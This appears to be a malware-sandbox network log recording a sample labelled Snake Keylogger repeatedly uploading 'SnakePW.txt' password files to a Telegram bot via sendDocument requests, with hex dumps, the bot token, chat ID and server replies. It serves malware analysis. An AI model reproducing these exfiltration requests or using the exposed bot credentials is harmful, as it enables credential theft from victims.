65 5f Data Ascii: {"ok":true,"result":{"message_id":66923,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228826,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.5	50013	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:46 UTC	266	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fcc300e3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:46 UTC	267	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 63 63 33 30 30 65 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fcc300e3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:46 UTC	267	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:46 GMT Content-Type: application/json Content-Length: 506 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:46 UTC	268	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66924,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228826,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.5	50014	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:46 UTC	268	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fd0035e8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:46 UTC	268	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 64 30 30 33 35 65 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fd0035e8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:46 UTC	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:46 UTC	269	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66925,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228826,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49784	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:44 UTC	27	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d82988cb Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:44 UTC	27	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 38 32 39 38 38 63 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d82988cbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:45 UTC	27	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:45 UTC	28	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66763,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228765,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.5	50015	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:47 UTC	270	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fd35462b Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:47 UTC	270	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 64 33 35 34 36 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fd35462bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:47 UTC	271	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:47 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:47 UTC	271	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66926,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228827,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.5	50016	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:47 UTC	271	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fd90de94 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:47 UTC	272	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 64 39 30 64 65 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fd90de94Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:48 UTC	272	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:48 UTC	273	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66928,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228827,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.5	50017	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:48 UTC	273	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fddd29b8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:48 UTC	273	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 64 64 64 32 39 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fddd29b8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:48 UTC	274	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:48 UTC	274	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66929,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228828,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.5	50018	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:48 UTC	275	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fe309bc3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:48 UTC	275	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 65 33 30 39 62 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fe309bc3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:48 UTC	276	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:48 UTC	276	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66930,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228828,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.5	50019	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:49 UTC	276	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fe6771e4 Host: api.telegram.org Content-Length: 504
